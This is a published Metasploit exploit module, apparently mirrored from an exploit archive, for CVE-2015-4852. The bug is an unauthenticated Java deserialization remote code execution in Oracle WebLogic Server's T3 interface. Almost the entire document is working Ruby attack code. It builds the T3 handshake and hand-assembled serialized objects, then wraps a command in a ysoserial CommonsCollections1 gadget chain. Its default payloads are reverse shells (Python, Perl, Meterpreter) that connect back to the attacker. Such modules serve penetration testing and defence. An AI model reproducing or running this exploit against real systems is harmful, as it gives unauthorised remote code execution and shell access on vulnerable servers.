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Oracle Weblogic Server Deserialization Remote Code Execution

Oracle Weblogic Server Deserialization Remote Code Execution
Posted Mar 27, 2019
Authored by Steve Breen, Aaron Soto, Andres Rodriguez | Site metasploit.com

This Metasploit module demonstrates that an unauthenticated attacker with network access to the Oracle Weblogic Server T3 interface can send a serialized object (weblogic.jms.common.StreamMessag eImpl) to the interface to execute code on vulnerable hosts.

tags | exploit
advisories | CVE-2015-4852
MD5 | 0d0f0ea424fe79508cb57b9319ad05f5

Oracle Weblogic Server Deserialization Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core/exploit/powershell'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::Tcp
#include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Powershell

def initialize(info={})
super(update_info(info,
'Name' => 'Oracle Weblogic Server Deserialization RCE - Raw Object',
'Description' => %q{
An unauthenticated attacker with network access to the Oracle Weblogic Server T3
interface can send a serialized object (weblogic.jms.common.StreamMessageImpl)
to the interface to execute code on vulnerable hosts.
},
'Author' =>
[
'Andres Rodriguez', # Metasploit Module - 2Secure (@acamro, acamro[at]gmail.com)
'Stephen Breen', # Vulnerability Discovery
'Aaron Soto' # Reverse Engineering JSO and ysoserial blobs
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2015-4852']
],
'Privileged' => false,
'Platform' => %w{ unix win solaris },
'Targets' =>
[
[ 'Unix',
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_python'},
'Payload' => {
'Encoder' => 'cmd/ifs',
'BadChars' => ' ',
'Compat' => {'PayloadType' => 'cmd', 'RequiredCmd' => 'python'}
}
],
[ 'Windows',
'Platform' => 'win',
'Payload' => {},
'DefaultOptions' => {'PAYLOAD' => 'windows/meterpreter/reverse_tcp'}
],
[ 'Solaris',
'Platform' => 'solaris',
'Arch' => ARCH_CMD,
'DefaultOptions' => {'PAYLOAD' => 'cmd/unix/reverse_perl'},
'Payload' => {
'Space' => 2048,
'DisableNops' => true,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl telnet',
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 28 2015'))

register_options([Opt::RPORT(7001)])
end

=begin This check is currently incompatible with the Tcp mixin. :-(
def check
resp = send_request_cgi(
'method' => 'GET',
'uri' => '/console/login/LoginForm.jsp'
)

return CheckCode::Unknown unless resp && resp.code == 200

unless resp.body.include?('Oracle WebLogic Server Administration Console')
vprint_warning("Oracle WebLogic Server banner cannot be found")
return CheckCode::Unknown
end

/WebLogic Server Version: (?<version>\d+\.\d+\.\d+\.\d*)/ =~ resp.body
unless version
vprint_warning("Oracle WebLogic Server version cannot be found")
return CheckCode::Unknown
end

version = Gem::Version.new(version)
vprint_good("Detected Oracle WebLogic Server Version: #{version}")
case
when version.to_s.start_with?('10.3')
return CheckCode::Appears unless version > Gem::Version.new('10.3.6.0')
when version.to_s.start_with?('12.1.2')
return CheckCode::Appears unless version > Gem::Version.new('12.1.2.0')
when version.to_s.start_with?('12.1.3')
return CheckCode::Appears unless version > Gem::Version.new('12.1.3.0')
when version.to_s.start_with?('12.2')
return CheckCode::Appears unless version > Gem::Version.new('12.2.1.0')
end

return CheckCode::Safe
end
=end

def t3_handshake
# retrieved from network traffic
shake = "t3 12.2.1\n"
shake << "AS:255\n"
shake << "HL:19\n"
shake << "MS:10000000\n\n"

sock.put(shake)
sleep(1)
sock.get_once
end

def build_t3_request_object
# T3 request serialized data
# retrieved by watching network traffic
# This is a proprietary, undocumented protocol

# TODO: Cite a source for the dissection of in the following 14 lines:
data = '000005c3' # lenght of the packet
data << '01' # CMD_IDENTIFY_REQUEST
data << '65' # QOS
data << '01' # Flags:
# CONTEXT_JVMID_FLAG = 1 (has JVMIDs)
# CONTEXT_TX_FLAG = 2
# CONTEXT_TRACE_FLAG = 4
# CONTEXT_EXTENDED_FLAG = 8
# CONTEXT_EXTENDED_USER_FLAG = 16
data << 'ffffffff' # response id
data << 'ffffffff' # invocable id
data << '0000006a' # abbrev offset
data << '0000ea60' # reconnect timeout ??

data << '0000001900937b484a'
data << '56fa4a777666f581daa4f5b90e2aebfc607499'
data << 'b4027973720078720178720278700000000a00'
data << '00000300000000000000060070707070707000'
data << '00000a000000030000000000000006007006'

data << 'fe010000' # ----- separator -----

data << 'aced0005' # JSO v5 header
data << '73' # object header
data << '72001d' # className (29 bytes):
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
data << '5461626c65456e747279' # (continued)
data << '2f52658157f4f9ed' # serialVersionUID
data << '0c00007870' # remainder of object header
data << '72' # object header
data << '00247765626c6f6769632e636f6d6d6f6e2e696e74' # className (36 bytes): weblogic.common.internal.PackageInfo
data << '65726e616c2e5061636b616765496e666f' # (continued)
data << 'e6f723e7b8ae1ec9' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0008' # fieldCount = 8
data << '4900056d616a6f72' # 0: Int: major
data << '4900056d696e6f72' # 1: Int: minor
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
data << '49000b736572766963655061636b' # 3: Int: servicePack
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
data << '7400124c6a6176612f6c616e672f537472696e673b' # java/lang/String
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
data << '71007e0003' # (Handle) 0x007e0003
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
data << '71007e0003' # (Handle) 0x007e0003
data << '78707702000078' # block footers

data << 'fe010000' # ----- separator -----

data << 'aced0005' # JSO v5 header
data << '7372' # object header
data << '001d7765626c6f6769632e726a766d2e436c6173' # className (29 bytes): weblogic.rjvm.ClassTableEntry
data << '735461626c65456e747279' # (continued)
data << '2f52658157f4f9ed' # serialVersionUID
data << '0c' # EXTERNALIZABLE | BLOCKDATA
data << '00007870' # remainder of object header
data << '72' # object header
data << '00247765626c6f6769632e636f6d6d6f6e2e696' # className (36 bytes): weblogic.common.internal.VersionInfo
data << 'e7465726e616c2e56657273696f6e496e666f' # (continued)
data << '972245516452463e' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0003' # fieldCount = 3
data << '5b0008' # array header (8 bytes)
data << '7061636b61676573' # ARRAY NAME = 'packages'
data << '740027' # TC_STRING className1 (39 bytes)
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # weblogic/common/internal/PackageInfo
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
data << '3b' # (continued)
data << '4c000e' # object header (14 bytes)
data << '72656c6561736556657273696f6e' # releaseVersion
data << '740012' # TC_STRING (18 bytes)
data << '4c6a6176612f6c616e672f537472696e673b' # versionInfoAsBytes
data << '5b0012' # array header (18 bytes)
data << '76657273696f6e496e666f41734279746573' # ARRAY NAME = java/lang/String;
data << '740002' # TC_STRING (2 bytes)
data << '5b42' # 0x5b42 = [B
data << '78' # block footer

data << '720024' # class (36 bytes)
data << '7765626c6f6769632e636f6d6d6f6e2e696e' # weblogic.common.internal.PackageInfo
data << '7465726e616c2e5061636b616765496e666f' # (continued)
data << 'e6f723e7b8ae1ec9' # serialVersionUID

data << '02' # SC_SERIALIZABLE
data << '0008' # fieldCount = 8
data << '4900056d616a6f72' # 0: Int: major
data << '4900056d696e6f72' # 1: Int: minor
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
data << '49000b736572766963655061636b' # 3: Int: servicePack
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
data << '71' # TC_REFERENCE
data << '007e0004' # Handle = 0x007e0004
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
data << '71' # TC_REFERENCE
data << '007e0004' # Handle = 0x007e0004
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
data << '71' # TC_REFERENCE
data << '007e0004' # Handle = 0x007e0004
data << '78' # class footer
data << '70' # TC_NULL
data << '77020000' # BLOCKDATA (2 bytes): 0x0000
data << '78' # block footer

data << 'fe010000' # ----- separator -----

data << 'aced0005' # JSO v5 header
data << '73' # object header
data << '72001d' # className (29 bytes):
data << '7765626c6f6769632e726a766d2e436c617373' # weblogic.rjvm.ClassTableEntry
data << '5461626c65456e747279' # (continued)
data << '2f52658157f4f9ed' # serialVersionUID
data << '0c00007870' # remainder of object header
data << '720021' # className (33 bytes)
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # weblogic.common.internal.PeerInfo
data << '65726e616c2e50656572496e666f' # (continued)
data << '585474f39bc908f1' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0006' # fieldCount = 6
data << '4900056d616a6f72' # 0: Int: major
data << '4900056d696e6f72' # 1: Int: minor
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
data << '49000b736572766963655061636b' # 3: Int: servicePack
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
data << '5b00087061636b61676573' # 5: Array: packages
data << '740027' # TC_STRING (39 bytes)
data << '5b4c7765626c6f6769632f636f6d6d6f6e2f69' # Lweblogic/common/internal/PackageInfo;
data << '6e7465726e616c2f5061636b616765496e666f' # (continued)
data << '3b' # (continued)
data << '78' # block footer
data << '720024' # class header
data << '7765626c6f6769632e636f6d6d6f6e2e696e74' # Name = Lweblogic/common/internal/PackageInfo;
data << '65726e616c2e56657273696f6e496e666f' # (continued)
data << '972245516452463e' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0003' # fieldCount = 3
data << '5b0008' # 0: Array
data << '7061636b6167657371' # packages
data << '007e0003' # Handle = 0x00730003
data << '4c000e72656c6561736556657273696f6e' # 1: Obj: releaseVersion
data << '7400124c6a6176612f6c616e672f537472696e673b' # Ljava/lang/String;
data << '5b001276657273696f6e496e666f41734279746573' # 2: Array: versionInfoAsBytes
data << '740002' # TC_STRING (2 bytes)
data << '5b42' # VALUE = 0x5b42 = [B
data << '78' # block footer
data << '720024' # class header
data << '7765626c6f6769632e636f6d6d6f6e2e696e746572' # Name = weblogic.common.internal.PackageInfo
data << '6e616c2e5061636b616765496e666f' # (continued)
data << 'e6f723e7b8ae1ec9' # serialVersionUID
data << '02' # SC_SERIALIZABLE
data << '0008' # fieldCount = 8
data << '4900056d616a6f72' # 0: Int: major
data << '4900056d696e6f72' # 1: Int: minor
data << '49000c726f6c6c696e675061746368' # 2: Int rollingPatch
data << '49000b736572766963655061636b' # 3: Int: servicePack
data << '5a000e74656d706f726172795061746368' # 4: Bool: temporaryPatch
data << '4c0009696d706c5469746c65' # 5: Obj: implTitle
data << '71' # TC_REFERENCE
data << '007e0005' # Handle = 0x007e0005
data << '4c000a696d706c56656e646f72' # 6: Obj: implVendor
data << '71' # TC_REFERENCE
data << '007e0005' # Handle = 0x007e0005
data << '4c000b696d706c56657273696f6e' # 7: Obj: implVersion
data << '71' # TC_REFERENCE
data << '007e0005' # Handle = 0x007e0005
data << '78' # class footer
data << '707702000078' # block footers

data << 'fe00ff' # this cruft again. some kind of footer

data << 'fe010000' # ----- separator -----

# weblogic.rjvm.JVMID object
data << 'aced0005' # JSO v5 header
data << '73' # object header
data << '720013' # class header
data << '7765626c6f6769632e726a766d2e4a564d4944' # name = 'weblogic.rjvm.JVMID'
data << 'dc49c23ede121e2a' # serialVersionUID
data << '0c' # EXTERNALIZABLE | BLOCKDATA
data << '0000' # fieldCount = 0 (!!!)
data << '78' # block footer
data << '70' # NULL
data << '7750' # block header (80 bytes)
data << '21' # !
data << '000000000000000000' # 9 NULL BYTES

data << '0d' # strLength = 13 bytes
#data << '3139322e3136382e312e323237' # original PoC string = 192.168.1.227
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
# (must be an IP, and length isn't trivially editable)
data << '00' # \0

data << '12' # strLength = 18 bytes
#data << '57494e2d4147444d565155423154362e6568' # original str = WIN-AGDMVQUB1T6.eh
data << rand_text_alphanumeric(18).unpack('H*')[0]

data << '83348cd6' # original = ??? UNKNOWN ??? (Note: Cannot be randomized)

data << '000000070000' # ??? UNKNOWN ???
data << rport.to_s(16).rjust(4, '0') # callback port
data << 'ffffffffffffffffffffffffffffffffffffff' # ??? UNKNOWN ???
data << 'ffffffffff' # ??? UNKNOWN ???
data << '78' # block footer

data << 'fe010000' # ----- separator -----

# weblogic.rjvm.JVMID object
data << 'aced0005' # JSO v5 header
data << '73' # object header
data << '72' # class
data << '00137765626c6f6769632e726a766d2e4a564d4944' # Name: weblogic.rjvm.JVMID
data << 'dc49c23ede121e2a' # serialVersionUID
data << '0c' # EXTERNALIZABLE | BLOCKDATA
data << '0000' # fieldCount = 0
data << '78' # end block
data << '70' # TC_NULL
data << '77' # block header
data << '20' # length = 32 bytes
data << '0114dc42bd071a772700' # old string = ??? UNKNOWN ???
#data << rand_text_alphanumeric(10).unpack('H*')[0] # (NOTE: RANDOMIZAITON BREAKS THINGS)

data << '0d' # string length = 13 bytes (NOTE: do not edit)
#data << '3234322e3231342e312e323534' # original string = 242.214.1.254
data << '3030302e3030302e3030302e30' # new string = 000.000.000.0
# (must be an IP, and length isn't trivially editable)

#data << '61863d1d' # original string = ??? UNKNOWN ???
data << rand_text_alphanumeric(4).unpack('H*')[0] # new = randomized

data << '00000000' # NULL BYTES
data << '78' # block footer

sock.put([data].pack('H*'))
sleep(1)
sock.get_once
end

def send_payload_objdata
# payload creation
if target.name == 'Windows'
mycmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {remove_comspec: true})
elsif target.name == 'Unix' || target.name == 'Solaris'
mycmd = payload.encoded
end

# basic weblogic ClassTableEntry object (serialized)
# TODO: WHAT DOES THIS DO? CAN WE RANDOMIZE ANY OF IT?
payload = '056508000000010000001b0000005d0101007372017870737202787000000000'
payload << '00000000757203787000000000787400087765626c6f67696375720478700000'
payload << '000c9c979a9a8c9a9bcfcf9b939a7400087765626c6f67696306'

payload << 'fe010000' # ----- separator -----

payload << 'aced0005' # JSO v5 header
payload << '73' # object header
payload << '72' # class
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
payload << '73735461626c65456e747279' # (cont)
payload << '2f52658157f4f9ed' # serialVersionUID
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
payload << '0000' # fieldCount = 0
payload << '7870' # remaining object header
payload << '72' # class header
payload << '00025b42' # Name: 0x5b42
payload << 'acf317f8060854e0' # serialVersionUID
payload << '02' # SERIALIZABLE
payload << '0000' # fieldCount = 0
payload << '7870' # class footer
payload << '77' # block header
payload << '020000' # contents = 0x0000
payload << '78' # block footer

payload << 'fe010000' # ----- separator -----

payload << 'aced0005' # JSO v5 header
payload << '73' # object header
payload << '72' # class
payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
payload << '73735461626c65456e747279' # (cont)
payload << '2f52658157f4f9ed' # serialVersionUID
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
payload << '0000' # fieldCount = 0
payload << '7870' # remaining object header
payload << '72' # class header

payload << '00135b4c6a6176612e6c616e672e4f626a' # Name: [Ljava.lang.Object;
payload << '6563743b' # (cont)
payload << '90ce589f1073296c' # serialVersionUID
payload << '02' # SERIALIZABLE
payload << '0000' # fieldCount = 0
payload << '7870' # remaining object header
payload << '77' # block header
payload << '020000' # contents = 0x0000
payload << '78' # block footer

payload << 'fe010000' # ----- separator -----

payload << 'aced0005' # JSO v5 header
payload << '73' # object header
payload << '72' # class

payload << '001d7765626c6f6769632e726a766d2e436c61' # Name: weblogic.rjvm.ClassTableEntry
payload << '73735461626c65456e747279' # (cont)
payload << '2f52658157f4f9ed' # serialVersionUID
payload << '0c' # SERIALIZABLE | BLOCKDATA
payload << '0000' # fieldCount = 0
payload << '7870' # block footer
payload << '72' # class header
payload << '00106a6176612e7574696c2e566563746f72' # Name: java.util.Vector
payload << 'd9977d5b803baf01' # serialVersionUID
payload << '03' # WRITE_METHOD | SERIALIZABLE
payload << '0003' # fieldCount = 3
payload << '4900116361706163697479496e6372656d656e74' # 0: Int: capacityIncrement
payload << '49000c656c656d656e74436f756e74' # 1: Int: elementCount
payload << '5b000b656c656d656e7444617461' # 2: Array: elementData
payload << '7400135b4c6a6176612f6c616e672f4f626a6563' # 3: String: [Ljava/lang/Object;
payload << '743b' # (cont)
payload << '7870' # remaining object header
payload << '77' # block header
payload << '020000' # contents = 0x0000
payload << '78' # block footer

payload << 'fe010000' # ----- separator -----

ysoserial_payload = ::Msf::Util::JavaDeserialization.ysoserial_payload("CommonsCollections1",mycmd)
payload << ysoserial_payload.each_byte.map { |b| b.to_s(16).rjust(2,'0') }.join

payload << 'fe010000' # ----- separator -----

# basic weblogic ImmutableServiceContext object (serialized)
payload << 'aced0005' # JSO v5 header
payload << '73' # object header
payload << '72' # class
payload << '00257765626c6f6769632e726a766d2e496d6d75' # Name: weblogic.rjvm.ImmutableServiceContext
payload << '7461626c6553657276696365436f6e74657874' # (cont)
payload << 'ddcba8706386f0ba' # serialVersionUID
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
payload << '0000' # fieldCount = 0
payload << '78' # object footer
payload << '72' # block header
payload << '00297765626c6f6769632e726d692e70726f76' # Name: weblogic.rmi.provider.BasicServiceContext
payload << '696465722e426173696353657276696365436f' # (cont)
payload << '6e74657874' # (cont)
payload << 'e4632236c5d4a71e' # serialVersionUID
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
payload << '0000' # fieldCount = 0
payload << '7870' # block footer
payload << '77' # block header
payload << '020600' # contents = 0x0600
payload << '7372' # class descriptor
payload << '00267765626c6f6769632e726d692e696e7465' # Name: weblogic.rmi.internal.MethodDescriptor
payload << '726e616c2e4d6574686f644465736372697074' # (cont)
payload << '6f72' # (cont)
payload << '12485a828af7f67b' # serialVersionUID
payload << '0c' # EXTERNALIZABLE | BLOCKDATA
payload << '0000' # fieldCount = 0
payload << '7870' # class footer
payload << '77' # class data

#payload << '34002e61757468656e746963617465284c7765' # old contents = 0x002e61757468656e746963617465284c7765
#payload << '626c6f6769632e73656375726974792e61636c' # 626c6f6769632e73656375726974792e61636c
#payload << '2e55736572496e666f3b290000001b' # 2e55736572496e666f3b290000001b
payload << rand_text_alphanumeric(52).unpack('H*')[0] # new = randomized
payload << '78' # class footer
payload << '78' # block footer
# MISSING OBJECT FOOTER (0x78)

payload << 'fe00ff' # this cruft again. some kind of footer

# sets the length of the stream
data = ((payload.length >> 1) + 4).to_s(16).rjust(8,'0')
data << payload

sock.put([data].pack('H*'))
sleep(1)
sock.get_once

end

def exploit
connect

print_status('Sending handshake...')
t3_handshake

print_status('Sending T3 request object...')
build_t3_request_object

print_status('Sending client object payload...')
send_payload_objdata

handler
disconnect
end
end

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